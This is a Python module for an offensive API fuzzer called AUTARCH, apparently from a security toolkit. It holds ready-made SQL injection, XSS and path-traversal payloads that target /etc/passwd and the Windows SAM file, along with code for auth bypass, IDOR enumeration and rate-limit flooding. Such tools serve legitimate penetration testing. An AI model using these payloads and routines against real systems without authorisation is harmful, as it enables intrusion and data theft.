743 lines
30 KiB
Python
743 lines
30 KiB
Python
|
|
"""AUTARCH API Fuzzer
|
||
|
|
|
||
|
|
Endpoint discovery, parameter fuzzing, auth testing, rate limit detection,
|
||
|
|
GraphQL introspection, and response analysis for REST/GraphQL APIs.
|
||
|
|
"""
|
||
|
|
|
||
|
|
DESCRIPTION = "API endpoint fuzzing & vulnerability testing"
|
||
|
|
AUTHOR = "darkHal"
|
||
|
|
VERSION = "1.0"
|
||
|
|
CATEGORY = "offense"
|
||
|
|
|
||
|
|
import os
|
||
|
|
import re
|
||
|
|
import json
|
||
|
|
import time
|
||
|
|
import copy
|
||
|
|
import threading
|
||
|
|
from pathlib import Path
|
||
|
|
from urllib.parse import urljoin, urlparse, parse_qs
|
||
|
|
from typing import Dict, List, Optional, Any, Tuple
|
||
|
|
|
||
|
|
try:
|
||
|
|
from core.paths import get_data_dir
|
||
|
|
except ImportError:
|
||
|
|
def get_data_dir():
|
||
|
|
return str(Path(__file__).parent.parent / 'data')
|
||
|
|
|
||
|
|
try:
|
||
|
|
import requests
|
||
|
|
from requests.exceptions import RequestException
|
||
|
|
HAS_REQUESTS = True
|
||
|
|
except ImportError:
|
||
|
|
HAS_REQUESTS = False
|
||
|
|
|
||
|
|
|
||
|
|
# ── Fuzz Payloads ────────────────────────────────────────────────────────────
|
||
|
|
|
||
|
|
SQLI_PAYLOADS = [
|
||
|
|
"' OR '1'='1", "\" OR \"1\"=\"1", "'; DROP TABLE--", "1; SELECT 1--",
|
||
|
|
"' UNION SELECT NULL--", "1' AND '1'='1", "admin'--", "' OR 1=1#",
|
||
|
|
"1 AND 1=1", "1' ORDER BY 1--", "') OR ('1'='1",
|
||
|
|
]
|
||
|
|
|
||
|
|
XSS_PAYLOADS = [
|
||
|
|
"<script>alert(1)</script>", "'\"><img src=x onerror=alert(1)>",
|
||
|
|
"javascript:alert(1)", "<svg/onload=alert(1)>", "{{7*7}}",
|
||
|
|
"${7*7}", "<%=7*7%>", "{{constructor.constructor('return 1')()}}",
|
||
|
|
]
|
||
|
|
|
||
|
|
TYPE_CONFUSION = [
|
||
|
|
None, True, False, 0, -1, 2147483647, -2147483648,
|
||
|
|
99999999999999, 0.1, -0.1, float('inf'),
|
||
|
|
"", " ", "null", "undefined", "NaN", "true", "false",
|
||
|
|
[], {}, [None], {"__proto__": {}},
|
||
|
|
"A" * 1000, "A" * 10000,
|
||
|
|
]
|
||
|
|
|
||
|
|
TRAVERSAL_PAYLOADS = [
|
||
|
|
"../../../etc/passwd", "..\\..\\..\\windows\\system32\\config\\sam",
|
||
|
|
"....//....//....//etc/passwd", "%2e%2e%2f%2e%2e%2f",
|
||
|
|
"/etc/passwd%00", "..%252f..%252f",
|
||
|
|
]
|
||
|
|
|
||
|
|
COMMON_ENDPOINTS = [
|
||
|
|
'/api', '/api/v1', '/api/v2', '/api/v3',
|
||
|
|
'/api/users', '/api/admin', '/api/login', '/api/auth',
|
||
|
|
'/api/config', '/api/settings', '/api/debug', '/api/health',
|
||
|
|
'/api/status', '/api/info', '/api/version', '/api/docs',
|
||
|
|
'/api/swagger', '/api/graphql', '/api/internal',
|
||
|
|
'/swagger.json', '/swagger-ui', '/openapi.json',
|
||
|
|
'/api/tokens', '/api/keys', '/api/secrets',
|
||
|
|
'/api/upload', '/api/download', '/api/export', '/api/import',
|
||
|
|
'/api/search', '/api/query', '/api/execute', '/api/run',
|
||
|
|
'/graphql', '/graphiql', '/playground',
|
||
|
|
'/.well-known/openid-configuration',
|
||
|
|
'/api/password/reset', '/api/register', '/api/verify',
|
||
|
|
'/api/webhook', '/api/callback', '/api/notify',
|
||
|
|
'/actuator', '/actuator/health', '/actuator/env',
|
||
|
|
'/metrics', '/prometheus', '/_debug', '/__debug__',
|
||
|
|
]
|
||
|
|
|
||
|
|
|
||
|
|
# ── API Fuzzer Engine ────────────────────────────────────────────────────────
|
||
|
|
|
||
|
|
class APIFuzzer:
|
||
|
|
"""REST & GraphQL API security testing."""
|
||
|
|
|
||
|
|
def __init__(self):
|
||
|
|
self.data_dir = os.path.join(get_data_dir(), 'api_fuzzer')
|
||
|
|
os.makedirs(self.data_dir, exist_ok=True)
|
||
|
|
self.session = requests.Session() if HAS_REQUESTS else None
|
||
|
|
self.results: List[Dict] = []
|
||
|
|
self._jobs: Dict[str, Dict] = {}
|
||
|
|
|
||
|
|
def set_auth(self, auth_type: str, value: str, header_name: str = 'Authorization'):
|
||
|
|
"""Configure authentication for requests."""
|
||
|
|
if not self.session:
|
||
|
|
return
|
||
|
|
if auth_type == 'bearer':
|
||
|
|
self.session.headers[header_name] = f'Bearer {value}'
|
||
|
|
elif auth_type == 'api_key':
|
||
|
|
self.session.headers[header_name] = value
|
||
|
|
elif auth_type == 'basic':
|
||
|
|
parts = value.split(':', 1)
|
||
|
|
if len(parts) == 2:
|
||
|
|
self.session.auth = (parts[0], parts[1])
|
||
|
|
elif auth_type == 'cookie':
|
||
|
|
self.session.cookies.set('session', value)
|
||
|
|
elif auth_type == 'custom':
|
||
|
|
self.session.headers[header_name] = value
|
||
|
|
|
||
|
|
def clear_auth(self):
|
||
|
|
"""Clear authentication."""
|
||
|
|
if self.session:
|
||
|
|
self.session.headers.pop('Authorization', None)
|
||
|
|
self.session.auth = None
|
||
|
|
self.session.cookies.clear()
|
||
|
|
|
||
|
|
# ── Endpoint Discovery ───────────────────────────────────────────────
|
||
|
|
|
||
|
|
def discover_endpoints(self, base_url: str, custom_paths: List[str] = None,
|
||
|
|
threads: int = 10) -> str:
|
||
|
|
"""Discover API endpoints. Returns job_id."""
|
||
|
|
job_id = f'discover_{int(time.time())}'
|
||
|
|
self._jobs[job_id] = {
|
||
|
|
'type': 'discover', 'status': 'running',
|
||
|
|
'found': [], 'checked': 0, 'total': 0
|
||
|
|
}
|
||
|
|
|
||
|
|
def _discover():
|
||
|
|
paths = COMMON_ENDPOINTS + (custom_paths or [])
|
||
|
|
self._jobs[job_id]['total'] = len(paths)
|
||
|
|
found = []
|
||
|
|
|
||
|
|
def check_path(path):
|
||
|
|
try:
|
||
|
|
url = urljoin(base_url.rstrip('/') + '/', path.lstrip('/'))
|
||
|
|
resp = self.session.get(url, timeout=5, allow_redirects=False)
|
||
|
|
self._jobs[job_id]['checked'] += 1
|
||
|
|
|
||
|
|
if resp.status_code < 404:
|
||
|
|
entry = {
|
||
|
|
'path': path,
|
||
|
|
'url': url,
|
||
|
|
'status': resp.status_code,
|
||
|
|
'content_type': resp.headers.get('content-type', ''),
|
||
|
|
'size': len(resp.content),
|
||
|
|
'methods': []
|
||
|
|
}
|
||
|
|
|
||
|
|
# Check allowed methods via OPTIONS
|
||
|
|
try:
|
||
|
|
opts = self.session.options(url, timeout=3)
|
||
|
|
allow = opts.headers.get('Allow', '')
|
||
|
|
if allow:
|
||
|
|
entry['methods'] = [m.strip() for m in allow.split(',')]
|
||
|
|
except Exception:
|
||
|
|
pass
|
||
|
|
|
||
|
|
found.append(entry)
|
||
|
|
except Exception:
|
||
|
|
self._jobs[job_id]['checked'] += 1
|
||
|
|
|
||
|
|
# Thread pool
|
||
|
|
active_threads = []
|
||
|
|
for path in paths:
|
||
|
|
t = threading.Thread(target=check_path, args=(path,))
|
||
|
|
t.start()
|
||
|
|
active_threads.append(t)
|
||
|
|
if len(active_threads) >= threads:
|
||
|
|
for at in active_threads:
|
||
|
|
at.join(timeout=10)
|
||
|
|
active_threads.clear()
|
||
|
|
|
||
|
|
for t in active_threads:
|
||
|
|
t.join(timeout=10)
|
||
|
|
|
||
|
|
self._jobs[job_id]['found'] = found
|
||
|
|
self._jobs[job_id]['status'] = 'complete'
|
||
|
|
|
||
|
|
threading.Thread(target=_discover, daemon=True).start()
|
||
|
|
return job_id
|
||
|
|
|
||
|
|
def parse_openapi(self, url_or_path: str) -> Dict:
|
||
|
|
"""Parse OpenAPI/Swagger spec to extract endpoints."""
|
||
|
|
try:
|
||
|
|
if url_or_path.startswith('http'):
|
||
|
|
resp = self.session.get(url_or_path, timeout=10)
|
||
|
|
spec = resp.json()
|
||
|
|
else:
|
||
|
|
with open(url_or_path) as f:
|
||
|
|
spec = json.load(f)
|
||
|
|
|
||
|
|
endpoints = []
|
||
|
|
paths = spec.get('paths', {})
|
||
|
|
for path, methods in paths.items():
|
||
|
|
for method, details in methods.items():
|
||
|
|
if method.upper() in ('GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS'):
|
||
|
|
params = []
|
||
|
|
for p in details.get('parameters', []):
|
||
|
|
params.append({
|
||
|
|
'name': p.get('name'),
|
||
|
|
'in': p.get('in'),
|
||
|
|
'required': p.get('required', False),
|
||
|
|
'type': p.get('schema', {}).get('type', 'string')
|
||
|
|
})
|
||
|
|
endpoints.append({
|
||
|
|
'path': path,
|
||
|
|
'method': method.upper(),
|
||
|
|
'summary': details.get('summary', ''),
|
||
|
|
'parameters': params,
|
||
|
|
'tags': details.get('tags', [])
|
||
|
|
})
|
||
|
|
|
||
|
|
return {
|
||
|
|
'ok': True,
|
||
|
|
'title': spec.get('info', {}).get('title', ''),
|
||
|
|
'version': spec.get('info', {}).get('version', ''),
|
||
|
|
'endpoints': endpoints,
|
||
|
|
'count': len(endpoints)
|
||
|
|
}
|
||
|
|
except Exception as e:
|
||
|
|
return {'ok': False, 'error': str(e)}
|
||
|
|
|
||
|
|
# ── Parameter Fuzzing ────────────────────────────────────────────────
|
||
|
|
|
||
|
|
def fuzz_params(self, url: str, method: str = 'GET',
|
||
|
|
params: Dict = None, payload_type: str = 'type_confusion') -> Dict:
|
||
|
|
"""Fuzz API parameters with various payloads."""
|
||
|
|
if not self.session:
|
||
|
|
return {'ok': False, 'error': 'requests not available'}
|
||
|
|
|
||
|
|
if payload_type == 'sqli':
|
||
|
|
payloads = SQLI_PAYLOADS
|
||
|
|
elif payload_type == 'xss':
|
||
|
|
payloads = XSS_PAYLOADS
|
||
|
|
elif payload_type == 'traversal':
|
||
|
|
payloads = TRAVERSAL_PAYLOADS
|
||
|
|
else:
|
||
|
|
payloads = TYPE_CONFUSION
|
||
|
|
|
||
|
|
params = params or {}
|
||
|
|
findings = []
|
||
|
|
|
||
|
|
for param_name, original_value in params.items():
|
||
|
|
for payload in payloads:
|
||
|
|
fuzzed = copy.deepcopy(params)
|
||
|
|
fuzzed[param_name] = payload
|
||
|
|
|
||
|
|
try:
|
||
|
|
if method.upper() == 'GET':
|
||
|
|
resp = self.session.get(url, params=fuzzed, timeout=10)
|
||
|
|
else:
|
||
|
|
resp = self.session.request(method.upper(), url, json=fuzzed, timeout=10)
|
||
|
|
|
||
|
|
# Analyze response for anomalies
|
||
|
|
finding = self._analyze_fuzz_response(
|
||
|
|
resp, param_name, payload, payload_type
|
||
|
|
)
|
||
|
|
if finding:
|
||
|
|
findings.append(finding)
|
||
|
|
|
||
|
|
except RequestException as e:
|
||
|
|
if 'timeout' not in str(e).lower():
|
||
|
|
findings.append({
|
||
|
|
'param': param_name,
|
||
|
|
'payload': str(payload),
|
||
|
|
'type': 'error',
|
||
|
|
'detail': str(e)
|
||
|
|
})
|
||
|
|
|
||
|
|
return {'ok': True, 'findings': findings, 'tested': len(params) * len(payloads)}
|
||
|
|
|
||
|
|
def _analyze_fuzz_response(self, resp, param: str, payload, payload_type: str) -> Optional[Dict]:
|
||
|
|
"""Analyze response for vulnerability indicators."""
|
||
|
|
body = resp.text.lower()
|
||
|
|
finding = None
|
||
|
|
|
||
|
|
# SQL error detection
|
||
|
|
sql_errors = [
|
||
|
|
'sql syntax', 'mysql_fetch', 'pg_query', 'sqlite3',
|
||
|
|
'unclosed quotation', 'unterminated string', 'syntax error',
|
||
|
|
'odbc', 'oracle error', 'microsoft ole db', 'ora-0'
|
||
|
|
]
|
||
|
|
if payload_type == 'sqli' and any(e in body for e in sql_errors):
|
||
|
|
finding = {
|
||
|
|
'param': param, 'payload': str(payload),
|
||
|
|
'type': 'sqli', 'severity': 'high',
|
||
|
|
'detail': 'SQL error in response',
|
||
|
|
'status': resp.status_code
|
||
|
|
}
|
||
|
|
|
||
|
|
# XSS reflection
|
||
|
|
if payload_type == 'xss' and str(payload).lower() in body:
|
||
|
|
finding = {
|
||
|
|
'param': param, 'payload': str(payload),
|
||
|
|
'type': 'xss_reflected', 'severity': 'high',
|
||
|
|
'detail': 'Payload reflected in response',
|
||
|
|
'status': resp.status_code
|
||
|
|
}
|
||
|
|
|
||
|
|
# Path traversal
|
||
|
|
if payload_type == 'traversal':
|
||
|
|
traversal_indicators = ['root:', '/bin/', 'windows\\system32', '[boot loader]']
|
||
|
|
if any(t in body for t in traversal_indicators):
|
||
|
|
finding = {
|
||
|
|
'param': param, 'payload': str(payload),
|
||
|
|
'type': 'path_traversal', 'severity': 'critical',
|
||
|
|
'detail': 'File content in response',
|
||
|
|
'status': resp.status_code
|
||
|
|
}
|
||
|
|
|
||
|
|
# Server error (500) might indicate injection
|
||
|
|
if resp.status_code == 500 and not finding:
|
||
|
|
finding = {
|
||
|
|
'param': param, 'payload': str(payload),
|
||
|
|
'type': 'server_error', 'severity': 'medium',
|
||
|
|
'detail': f'Server error (500) triggered',
|
||
|
|
'status': resp.status_code
|
||
|
|
}
|
||
|
|
|
||
|
|
# Stack trace / debug info disclosure
|
||
|
|
debug_indicators = [
|
||
|
|
'traceback', 'stacktrace', 'exception', 'debug',
|
||
|
|
'at line', 'file "/', 'internal server error'
|
||
|
|
]
|
||
|
|
if any(d in body for d in debug_indicators) and not finding:
|
||
|
|
finding = {
|
||
|
|
'param': param, 'payload': str(payload),
|
||
|
|
'type': 'info_disclosure', 'severity': 'medium',
|
||
|
|
'detail': 'Debug/stack trace in response',
|
||
|
|
'status': resp.status_code
|
||
|
|
}
|
||
|
|
|
||
|
|
return finding
|
||
|
|
|
||
|
|
# ── Auth Testing ─────────────────────────────────────────────────────
|
||
|
|
|
||
|
|
def test_idor(self, url_template: str, id_range: Tuple[int, int],
|
||
|
|
auth_token: str = None) -> Dict:
|
||
|
|
"""Test for IDOR by iterating IDs."""
|
||
|
|
findings = []
|
||
|
|
start_id, end_id = id_range
|
||
|
|
|
||
|
|
if auth_token:
|
||
|
|
self.session.headers['Authorization'] = f'Bearer {auth_token}'
|
||
|
|
|
||
|
|
for i in range(start_id, end_id + 1):
|
||
|
|
url = url_template.replace('{id}', str(i))
|
||
|
|
try:
|
||
|
|
resp = self.session.get(url, timeout=5)
|
||
|
|
if resp.status_code == 200:
|
||
|
|
findings.append({
|
||
|
|
'id': i, 'url': url,
|
||
|
|
'status': resp.status_code,
|
||
|
|
'size': len(resp.content),
|
||
|
|
'accessible': True
|
||
|
|
})
|
||
|
|
elif resp.status_code not in (401, 403, 404):
|
||
|
|
findings.append({
|
||
|
|
'id': i, 'url': url,
|
||
|
|
'status': resp.status_code,
|
||
|
|
'accessible': False,
|
||
|
|
'note': f'Unexpected status: {resp.status_code}'
|
||
|
|
})
|
||
|
|
except Exception:
|
||
|
|
pass
|
||
|
|
|
||
|
|
return {
|
||
|
|
'ok': True, 'findings': findings,
|
||
|
|
'accessible_count': sum(1 for f in findings if f.get('accessible')),
|
||
|
|
'tested': end_id - start_id + 1
|
||
|
|
}
|
||
|
|
|
||
|
|
def test_auth_bypass(self, url: str) -> Dict:
|
||
|
|
"""Test common auth bypass techniques."""
|
||
|
|
bypasses = []
|
||
|
|
|
||
|
|
tests = [
|
||
|
|
('No auth header', {}),
|
||
|
|
('Empty Bearer', {'Authorization': 'Bearer '}),
|
||
|
|
('Bearer null', {'Authorization': 'Bearer null'}),
|
||
|
|
('Bearer undefined', {'Authorization': 'Bearer undefined'}),
|
||
|
|
('Admin header', {'X-Admin': 'true'}),
|
||
|
|
('Internal header', {'X-Forwarded-For': '127.0.0.1'}),
|
||
|
|
('Override method', {'X-HTTP-Method-Override': 'GET'}),
|
||
|
|
('Original URL', {'X-Original-URL': '/admin'}),
|
||
|
|
]
|
||
|
|
|
||
|
|
for name, headers in tests:
|
||
|
|
try:
|
||
|
|
resp = requests.get(url, headers=headers, timeout=5)
|
||
|
|
if resp.status_code == 200:
|
||
|
|
bypasses.append({
|
||
|
|
'technique': name,
|
||
|
|
'status': resp.status_code,
|
||
|
|
'size': len(resp.content),
|
||
|
|
'success': True
|
||
|
|
})
|
||
|
|
else:
|
||
|
|
bypasses.append({
|
||
|
|
'technique': name,
|
||
|
|
'status': resp.status_code,
|
||
|
|
'success': False
|
||
|
|
})
|
||
|
|
except Exception:
|
||
|
|
pass
|
||
|
|
|
||
|
|
return {
|
||
|
|
'ok': True,
|
||
|
|
'bypasses': bypasses,
|
||
|
|
'successful': sum(1 for b in bypasses if b.get('success'))
|
||
|
|
}
|
||
|
|
|
||
|
|
# ── Rate Limiting ────────────────────────────────────────────────────
|
||
|
|
|
||
|
|
def test_rate_limit(self, url: str, requests_count: int = 50,
|
||
|
|
method: str = 'GET') -> Dict:
|
||
|
|
"""Test API rate limiting."""
|
||
|
|
results = []
|
||
|
|
start_time = time.time()
|
||
|
|
|
||
|
|
for i in range(requests_count):
|
||
|
|
try:
|
||
|
|
resp = self.session.request(method, url, timeout=10)
|
||
|
|
results.append({
|
||
|
|
'request_num': i + 1,
|
||
|
|
'status': resp.status_code,
|
||
|
|
'time': time.time() - start_time,
|
||
|
|
'rate_limit_remaining': resp.headers.get('X-RateLimit-Remaining', ''),
|
||
|
|
'retry_after': resp.headers.get('Retry-After', '')
|
||
|
|
})
|
||
|
|
if resp.status_code == 429:
|
||
|
|
break
|
||
|
|
except Exception as e:
|
||
|
|
results.append({
|
||
|
|
'request_num': i + 1,
|
||
|
|
'error': str(e),
|
||
|
|
'time': time.time() - start_time
|
||
|
|
})
|
||
|
|
|
||
|
|
rate_limited = any(r.get('status') == 429 for r in results)
|
||
|
|
elapsed = time.time() - start_time
|
||
|
|
|
||
|
|
return {
|
||
|
|
'ok': True,
|
||
|
|
'rate_limited': rate_limited,
|
||
|
|
'total_requests': len(results),
|
||
|
|
'elapsed_seconds': round(elapsed, 2),
|
||
|
|
'rps': round(len(results) / elapsed, 1) if elapsed > 0 else 0,
|
||
|
|
'limit_hit_at': next((r['request_num'] for r in results if r.get('status') == 429), None),
|
||
|
|
'results': results
|
||
|
|
}
|
||
|
|
|
||
|
|
# ── GraphQL ──────────────────────────────────────────────────────────
|
||
|
|
|
||
|
|
def graphql_introspect(self, url: str) -> Dict:
|
||
|
|
"""Run GraphQL introspection query."""
|
||
|
|
query = {
|
||
|
|
'query': '''
|
||
|
|
{
|
||
|
|
__schema {
|
||
|
|
types {
|
||
|
|
name
|
||
|
|
kind
|
||
|
|
fields {
|
||
|
|
name
|
||
|
|
type { name kind }
|
||
|
|
args { name type { name } }
|
||
|
|
}
|
||
|
|
}
|
||
|
|
queryType { name }
|
||
|
|
mutationType { name }
|
||
|
|
}
|
||
|
|
}
|
||
|
|
'''
|
||
|
|
}
|
||
|
|
|
||
|
|
try:
|
||
|
|
resp = self.session.post(url, json=query, timeout=15)
|
||
|
|
data = resp.json()
|
||
|
|
|
||
|
|
if 'errors' in data and not data.get('data'):
|
||
|
|
return {'ok': False, 'error': 'Introspection disabled or error',
|
||
|
|
'errors': data['errors']}
|
||
|
|
|
||
|
|
schema = data.get('data', {}).get('__schema', {})
|
||
|
|
types = []
|
||
|
|
for t in schema.get('types', []):
|
||
|
|
if not t['name'].startswith('__'):
|
||
|
|
types.append({
|
||
|
|
'name': t['name'],
|
||
|
|
'kind': t['kind'],
|
||
|
|
'fields': [
|
||
|
|
{'name': f['name'],
|
||
|
|
'type': f['type'].get('name', f['type'].get('kind', '')),
|
||
|
|
'args': [a['name'] for a in f.get('args', [])]}
|
||
|
|
for f in (t.get('fields') or [])
|
||
|
|
]
|
||
|
|
})
|
||
|
|
|
||
|
|
return {
|
||
|
|
'ok': True,
|
||
|
|
'query_type': schema.get('queryType', {}).get('name'),
|
||
|
|
'mutation_type': schema.get('mutationType', {}).get('name'),
|
||
|
|
'types': types,
|
||
|
|
'type_count': len(types)
|
||
|
|
}
|
||
|
|
except Exception as e:
|
||
|
|
return {'ok': False, 'error': str(e)}
|
||
|
|
|
||
|
|
def graphql_depth_test(self, url: str, max_depth: int = 10) -> Dict:
|
||
|
|
"""Test GraphQL query depth limits."""
|
||
|
|
results = []
|
||
|
|
for depth in range(1, max_depth + 1):
|
||
|
|
# Build nested query
|
||
|
|
inner = '{ __typename }'
|
||
|
|
for _ in range(depth):
|
||
|
|
inner = f'{{ __schema {{ types {inner} }} }}'
|
||
|
|
|
||
|
|
try:
|
||
|
|
resp = self.session.post(url, json={'query': inner}, timeout=10)
|
||
|
|
results.append({
|
||
|
|
'depth': depth,
|
||
|
|
'status': resp.status_code,
|
||
|
|
'has_errors': 'errors' in resp.json() if resp.headers.get('content-type', '').startswith('application/json') else None
|
||
|
|
})
|
||
|
|
if resp.status_code != 200:
|
||
|
|
break
|
||
|
|
except Exception:
|
||
|
|
results.append({'depth': depth, 'error': True})
|
||
|
|
break
|
||
|
|
|
||
|
|
max_allowed = max((r['depth'] for r in results if r.get('status') == 200), default=0)
|
||
|
|
return {
|
||
|
|
'ok': True,
|
||
|
|
'max_depth_allowed': max_allowed,
|
||
|
|
'depth_limited': max_allowed < max_depth,
|
||
|
|
'results': results
|
||
|
|
}
|
||
|
|
|
||
|
|
# ── Response Analysis ────────────────────────────────────────────────
|
||
|
|
|
||
|
|
def analyze_response(self, url: str, method: str = 'GET') -> Dict:
|
||
|
|
"""Analyze API response for security issues."""
|
||
|
|
try:
|
||
|
|
resp = self.session.request(method, url, timeout=10)
|
||
|
|
issues = []
|
||
|
|
|
||
|
|
# Check security headers
|
||
|
|
security_headers = {
|
||
|
|
'X-Content-Type-Options': 'nosniff',
|
||
|
|
'X-Frame-Options': 'DENY|SAMEORIGIN',
|
||
|
|
'Strict-Transport-Security': None,
|
||
|
|
'Content-Security-Policy': None,
|
||
|
|
'X-XSS-Protection': None,
|
||
|
|
}
|
||
|
|
for header, expected in security_headers.items():
|
||
|
|
val = resp.headers.get(header)
|
||
|
|
if not val:
|
||
|
|
issues.append({
|
||
|
|
'type': 'missing_header',
|
||
|
|
'header': header,
|
||
|
|
'severity': 'low'
|
||
|
|
})
|
||
|
|
|
||
|
|
# Check for info disclosure
|
||
|
|
server = resp.headers.get('Server', '')
|
||
|
|
if server and any(v in server.lower() for v in ['apache/', 'nginx/', 'iis/']):
|
||
|
|
issues.append({
|
||
|
|
'type': 'server_disclosure',
|
||
|
|
'value': server,
|
||
|
|
'severity': 'info'
|
||
|
|
})
|
||
|
|
|
||
|
|
powered_by = resp.headers.get('X-Powered-By', '')
|
||
|
|
if powered_by:
|
||
|
|
issues.append({
|
||
|
|
'type': 'technology_disclosure',
|
||
|
|
'value': powered_by,
|
||
|
|
'severity': 'low'
|
||
|
|
})
|
||
|
|
|
||
|
|
# Check CORS
|
||
|
|
cors = resp.headers.get('Access-Control-Allow-Origin', '')
|
||
|
|
if cors == '*':
|
||
|
|
issues.append({
|
||
|
|
'type': 'open_cors',
|
||
|
|
'value': cors,
|
||
|
|
'severity': 'medium'
|
||
|
|
})
|
||
|
|
|
||
|
|
# Check for error/debug info in body
|
||
|
|
body = resp.text.lower()
|
||
|
|
if any(kw in body for kw in ['stack trace', 'traceback', 'debug mode']):
|
||
|
|
issues.append({
|
||
|
|
'type': 'debug_info',
|
||
|
|
'severity': 'medium',
|
||
|
|
'detail': 'Debug/stack trace information in response'
|
||
|
|
})
|
||
|
|
|
||
|
|
return {
|
||
|
|
'ok': True,
|
||
|
|
'url': url,
|
||
|
|
'status': resp.status_code,
|
||
|
|
'headers': dict(resp.headers),
|
||
|
|
'issues': issues,
|
||
|
|
'issue_count': len(issues)
|
||
|
|
}
|
||
|
|
|
||
|
|
except Exception as e:
|
||
|
|
return {'ok': False, 'error': str(e)}
|
||
|
|
|
||
|
|
# ── Job Management ───────────────────────────────────────────────────
|
||
|
|
|
||
|
|
def get_job(self, job_id: str) -> Optional[Dict]:
|
||
|
|
return self._jobs.get(job_id)
|
||
|
|
|
||
|
|
def list_jobs(self) -> List[Dict]:
|
||
|
|
return [{'id': k, **v} for k, v in self._jobs.items()]
|
||
|
|
|
||
|
|
|
||
|
|
# ── Singleton ────────────────────────────────────────────────────────────────
|
||
|
|
|
||
|
|
_instance = None
|
||
|
|
|
||
|
|
def get_api_fuzzer() -> APIFuzzer:
|
||
|
|
global _instance
|
||
|
|
if _instance is None:
|
||
|
|
_instance = APIFuzzer()
|
||
|
|
return _instance
|
||
|
|
|
||
|
|
|
||
|
|
# ── CLI Interface ────────────────────────────────────────────────────────────
|
||
|
|
|
||
|
|
def run():
|
||
|
|
"""CLI entry point for API Fuzzer module."""
|
||
|
|
if not HAS_REQUESTS:
|
||
|
|
print(" Error: requests library not installed")
|
||
|
|
return
|
||
|
|
|
||
|
|
fuzzer = get_api_fuzzer()
|
||
|
|
|
||
|
|
while True:
|
||
|
|
print(f"\n{'='*60}")
|
||
|
|
print(f" API Fuzzer")
|
||
|
|
print(f"{'='*60}")
|
||
|
|
print()
|
||
|
|
print(" 1 — Discover Endpoints")
|
||
|
|
print(" 2 — Parse OpenAPI Spec")
|
||
|
|
print(" 3 — Fuzz Parameters")
|
||
|
|
print(" 4 — Test Auth Bypass")
|
||
|
|
print(" 5 — Test IDOR")
|
||
|
|
print(" 6 — Test Rate Limiting")
|
||
|
|
print(" 7 — GraphQL Introspection")
|
||
|
|
print(" 8 — Analyze Response")
|
||
|
|
print(" 9 — Set Authentication")
|
||
|
|
print(" 0 — Back")
|
||
|
|
print()
|
||
|
|
|
||
|
|
choice = input(" > ").strip()
|
||
|
|
|
||
|
|
if choice == '0':
|
||
|
|
break
|
||
|
|
elif choice == '1':
|
||
|
|
base = input(" Base URL: ").strip()
|
||
|
|
if base:
|
||
|
|
job_id = fuzzer.discover_endpoints(base)
|
||
|
|
print(f" Discovery started (job: {job_id})")
|
||
|
|
while True:
|
||
|
|
job = fuzzer.get_job(job_id)
|
||
|
|
if job['status'] == 'complete':
|
||
|
|
print(f" Found {len(job['found'])} endpoints:")
|
||
|
|
for ep in job['found']:
|
||
|
|
print(f" [{ep['status']}] {ep['path']} "
|
||
|
|
f"({ep['content_type'][:30]})")
|
||
|
|
break
|
||
|
|
print(f" Checking... {job['checked']}/{job['total']}")
|
||
|
|
time.sleep(1)
|
||
|
|
elif choice == '2':
|
||
|
|
url = input(" OpenAPI spec URL or file: ").strip()
|
||
|
|
if url:
|
||
|
|
result = fuzzer.parse_openapi(url)
|
||
|
|
if result['ok']:
|
||
|
|
print(f" API: {result['title']} v{result['version']}")
|
||
|
|
print(f" Endpoints: {result['count']}")
|
||
|
|
for ep in result['endpoints'][:20]:
|
||
|
|
print(f" {ep['method']:<6} {ep['path']} {ep.get('summary', '')}")
|
||
|
|
else:
|
||
|
|
print(f" Error: {result['error']}")
|
||
|
|
elif choice == '3':
|
||
|
|
url = input(" Endpoint URL: ").strip()
|
||
|
|
param_str = input(" Parameters (key=val,key=val): ").strip()
|
||
|
|
ptype = input(" Payload type (sqli/xss/traversal/type_confusion): ").strip() or 'type_confusion'
|
||
|
|
if url and param_str:
|
||
|
|
params = dict(p.split('=', 1) for p in param_str.split(',') if '=' in p)
|
||
|
|
result = fuzzer.fuzz_params(url, params=params, payload_type=ptype)
|
||
|
|
if result['ok']:
|
||
|
|
print(f" Tested {result['tested']} combinations, {len(result['findings'])} findings:")
|
||
|
|
for f in result['findings']:
|
||
|
|
print(f" [{f.get('severity', '?')}] {f['type']}: {f['param']} = {f['payload'][:50]}")
|
||
|
|
elif choice == '4':
|
||
|
|
url = input(" Protected URL: ").strip()
|
||
|
|
if url:
|
||
|
|
result = fuzzer.test_auth_bypass(url)
|
||
|
|
print(f" Tested {len(result['bypasses'])} techniques, {result['successful']} successful")
|
||
|
|
for b in result['bypasses']:
|
||
|
|
status = 'BYPASSED' if b['success'] else f'blocked ({b["status"]})'
|
||
|
|
print(f" {b['technique']}: {status}")
|
||
|
|
elif choice == '6':
|
||
|
|
url = input(" URL to test: ").strip()
|
||
|
|
count = input(" Request count (default 50): ").strip()
|
||
|
|
if url:
|
||
|
|
result = fuzzer.test_rate_limit(url, int(count) if count.isdigit() else 50)
|
||
|
|
print(f" Rate limited: {result['rate_limited']}")
|
||
|
|
print(f" RPS: {result['rps']} | Total: {result['total_requests']} in {result['elapsed_seconds']}s")
|
||
|
|
if result['limit_hit_at']:
|
||
|
|
print(f" Limit hit at request #{result['limit_hit_at']}")
|
||
|
|
elif choice == '7':
|
||
|
|
url = input(" GraphQL URL: ").strip()
|
||
|
|
if url:
|
||
|
|
result = fuzzer.graphql_introspect(url)
|
||
|
|
if result['ok']:
|
||
|
|
print(f" Found {result['type_count']} types")
|
||
|
|
for t in result['types'][:10]:
|
||
|
|
print(f" {t['kind']}: {t['name']} ({len(t['fields'])} fields)")
|
||
|
|
else:
|
||
|
|
print(f" Error: {result['error']}")
|
||
|
|
elif choice == '8':
|
||
|
|
url = input(" URL: ").strip()
|
||
|
|
if url:
|
||
|
|
result = fuzzer.analyze_response(url)
|
||
|
|
if result['ok']:
|
||
|
|
print(f" Status: {result['status']} | Issues: {result['issue_count']}")
|
||
|
|
for issue in result['issues']:
|
||
|
|
print(f" [{issue['severity']}] {issue['type']}: {issue.get('value', issue.get('detail', ''))}")
|
||
|
|
elif choice == '9':
|
||
|
|
auth_type = input(" Auth type (bearer/api_key/basic/cookie): ").strip()
|
||
|
|
value = input(" Value: ").strip()
|
||
|
|
if auth_type and value:
|
||
|
|
fuzzer.set_auth(auth_type, value)
|
||
|
|
print(" Authentication configured")
|